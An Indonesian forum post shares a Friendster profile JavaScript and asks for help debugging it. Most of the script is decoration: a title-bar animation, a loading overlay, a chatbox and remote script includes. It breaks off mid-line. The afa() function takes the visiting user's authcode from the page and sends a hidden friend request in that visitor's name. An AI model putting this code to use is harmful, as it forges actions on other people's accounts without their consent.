malam semua..
ada yang mau bantuin g liatin script js saya..
soalnya randomized friend n semua script bagian C g bisa jalan.
tolong ya ....
ni kode nya:
[spoiler]//css injection
var css;
try {
css = document.createElement("link");
}catch(e) {
css = document.createElement("<link>");
}
css.setAttribute("type","text/css");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/ke_vhin/pinkworld.css");
css.setAttribute("media","screen, print");
document.getElementsByTagName("head")[0].appendChild(css);
//Created by Title bar Maker (
http://www.bosiljak.hr/titlemaker)
// Copyright 1996 - Tomer and Yehuda Shiran
// This example will appear in our forthcoming book on JavaScript.
// Feel free to "steal" this code provided that you leave this notice as is.
// Additional examples from the book can be found at
http://www.geocities.com/SiliconValley/9000/
// For more information contact Tomer or Yehuda Shiran <yshiran@iil.intel.com>
function tb9_makeArray(n){
this.length = n;
return this.length;
}
tb9_messages = new tb9_makeArray(6);
tb9_messages[0] = "HALLOOO";
tb9_messages[1] = "WeLCome tO mY Fs";
tb9_messages[2] = "jAngaN LuPa nIn66AlIn KomEn Ya";
tb9_messages[3] = "AtaU Yang Belum Jd TeMaN Aq";
tb9_messages[4] = "Di AdD AjA SekaLiaN";
tb9_messages[5] = "Ok!!!!!!!";
tb9_rptType = 'infinite';
tb9_rptNbr = 5;
tb9_speed = 100;
tb9_delay = 2000;
var tb9_counter=1;
var tb9_currMsg=0;
var tb9_timerID = null
var tb9_bannerRunning = false
var tb9_state = ""
tb9_clearState()
function tb9_stopBanner() {
if (tb9_bannerRunning)
clearTimeout(tb9_timerID)
tb9_timerRunning = false
}
function tb9_startBanner() {
tb9_stopBanner()
tb9_showBanner()
}
function tb9_clearState() {
tb9_state = ""
for (var i = 0; i < tb9_messages[tb9_currMsg].length; ++i) {
tb9_state += "0"
}
}
function tb9_showBanner() {
if (tb9_getString()) {
tb9_currMsg++
if (tb9_messages.length <= tb9_currMsg) {
if ((tb9_rptType == 'finite') && (tb9_counter==tb9_rptNbr)){
tb9_stopBanner();
return;
}
tb9_counter++;
tb9_currMsg=0;
}
tb9_clearState()
tb9_timerID = setTimeout("tb9_showBanner()", tb9_delay)
}
else {
var tb9_str = ""
for (var j = 0; j < tb9_state.length; ++j) {
tb9_str += (tb9_state.charAt(j) == "1") ? tb9_messages[tb9_currMsg].charAt(j) : "____"
}
document.title = tb9_str
tb9_timerID = setTimeout("tb9_showBanner()", tb9_speed)
}
}
function tb9_getString() {
var full = true
for (var j = 0; j < tb9_state.length; ++j) {
if (tb9_state.charAt(j) == 0)
full = false
}
if (full) return true
while (1) {
var num = tb9_getRandom(tb9_messages[tb9_currMsg].length)
if (tb9_state.charAt(num) == "0")
break
}
tb9_state = tb9_state.substring(0, num) + "1" + tb9_state.substring(num + 1, tb9_state.length)
return false
}
function tb9_getRandom(max) {
var now = new Date()
var num = now.getTime() * now.getSeconds() * Math.random()
return num % max
}
tb9_startBanner()
/* -------------------------------------------------------------------- force login */
if(pageViewerID==""){
alert("Please log in your Friendster account to view my page!");
top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1";
}
document.getElementById('0').getElementsByTagName("ul")[1].innerHTML=
"<li> Jenis Kelamin :</span><img src='http://i271.photobucket.com/albums/jj131/soultraindart/Smilies/Whistling.gif'/><span> Seseorang Pejantan Tangguh<span><br></li>"+
"<li> Apa Yang Kamu Inginkan : </span><img src='http://i208.photobucket.com/albums/bb2/Steffi-07/Smilies/drunk.gif'/><span> Ingin Menemukan CinTa Sejati <span><br></li>"+
"<li> KEanGGotaan : </span><img src='http://i186.photobucket.com/albums/x212/FinweCarnesir/Smilies/kick.gif'/><span>sejak Komputer Tercipta<span> <br></li>"+
"<li> Rumah Kamu :</span><img src='http://i131.photobucket.com/albums/p312/neverbeendone/smilies/0cb43965.gif'/><span> Payakumbuh<span><br></li>"+
"<li> LokaSi : </span><img src='http://i293.photobucket.com/albums/mm55/BakerCheerleader62/smilies/missing2.gif'/><span> Cari Aja di Peta</span><br></li>"+
"<li> Url KamU : </span><img src='http://i271.photobucket.com/albums/jj131/soultraindart/Smilies/ComputerMadat.gif'/><span>
http://profiles.friendster.com/"+pageViewerID+"<span><br></li>"+
"<li> KeingiNan : </span><img src='http://i304.photobucket.com/albums/nn176/kerig1973/animations/lmao.gif'/><span>Menjadi OraNG Kaya<span><br></li>"+
"<li> ThaNkS to : </span><img src='http://i531.photobucket.com/albums/dd351/EkiTeebi/Girlie%20Smilies/sabber.gif'/><span>aLL MeMBer FTI<span><br></li>"+
"<li> Url KU : </span><img src='http://i271.photobucket.com/albums/jj131/soultraindart/Smilies/ComputerUsergetsPunchedby.gif'/><a style=\"font-weight: normal;\" href=\"/55700887\">http://profiles.friendster.com/sylarheroes</a><br/></li>";
loader=new loader();
function loader() {
this.hide=function() {
lding.style.display='none';
}
var lding = document.getElementById('navBg');
myWidth = screen.availWidth;
myHeight = screen.availHeight;
lding.style.zIndex=1000;
lding.style.backgroundImage ="url(http://i137.photobucket.com/albums/q205/ezil2007/zaren/12345.gif)";
lding.style.backgroundRepeat='repeat';
lding.style.position = 'fixed';
lding.style.top = '0px';
lding.style.left = '0px';
lding.style.width = myWidth;
lding.style.height = myHeight;
lding.style.overflow = 'hidden';
lding.style.display='';
lding.innerHTML="<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><center><font face='Comic Sans MS' color='white' size='20'>"+pageViewerFName+" Thanks for visiting! <br><br><br><br>Loading.. Please Wait...</font><b><br><br><br><br><br><img src='http://i135.photobucket.com/albums/q131/nikkomon_139/i102337293_99882.gif'/></center>";
}
if ( ! attachOnLoadHandler(function () { loadBox();}))
window.onload = function () { loadBox();};
function loadBox() {
var ld=setTimeout("loader.hide()",4000);
}
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "sylar_k@yahoo.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};
// Navigation ver. Vista
var navidock;
try {navidock = document.createElement("div");}
catch (e) {navidock = document.createElement("<div>");}
navidock.innerHTML = "<iframe id=\"datamain\" src=\"
http://h1.ripway.com/ke_vhin/objectvista.html" width=\"800\" height=\"115px\" marginheight=\"0\" hspace=\"0\" vspace=\"0\" frameborder=\"0\" scrolling=\"no\"></iframe>";
navidock.setAttribute("style","text-align:center;padding-top:10px");
document.getElementById("logo").parentNode.appendChild(navidock);
//js injection tulisan warna
var myjs = document.createElement("script");
myjs.type = "text/javascript";
myjs.src = "
http://h1.ripway.com/ke_vhin/textwarna.js";
document.getElementsByTagName("head")[0].appendChild(myjs);
// Icon
var icon = document.createElement("link");
icon.rel = "SHORTCUT ICON";
icon.href = "http://i134.photobucket.com/albums/q108/marj69/Flags%20of%20the%20World/Asia/3dflagsdotcom_indon_2fawm.gif";
document.getElementsByTagName("head")[0].appendChild(icon);
/* ----------------------------------------------------------------- onload handler */
function onProfileLoad() {
//chatbox
var spambox="<div align='center' id='cboxdiv' style='width:350px;'>"+"<div style='border:0px solid #000000';><iframe frameborder='0' width='350px' height='200px' src='http://www2.cbox.ws/box/?boxid=1752179&boxtag=9k3swy&sec=main' scrolling='auto' allowtransparency='yes' name='donzy' id='donzy'></iframe><br></div><form name='chat' target='donzy' action='http://www2.cbox.ws/box/?boxid=1752179&boxtag=9k3swy&sec=submit' method='post'><input type='hidden' name='nme' value='"+pageViewerFName+"'><input type='hidden' name='eml' value='http://profiles.friendster.com/"+pageViewerID+"'><br><textarea style='color:#000000;font-size:10px;border:1px solid #000000;background-color:transparent;padding:4px;overflow:hidden' class='cboxMsgArea' cols='45' rows='2' name='pst'></textarea><br \><input type='submit' class='tombol' value='Submit' name='submit'><input class='tombol' type='reset' value='Clear' maxlength='23' onClick='reset()'><input type='button' class='tombol' value='Refresh' name='donzy' onClick='window.donzy.location.href=document.getElementById(\"donzy\").src'><input type='button' class='tombol' value='Show smiley' onClick=\"top.location.href='javascript:showMe();'\"><br>"+
"<div id=\"theLayer\" style=\"position:ab[/spoiler]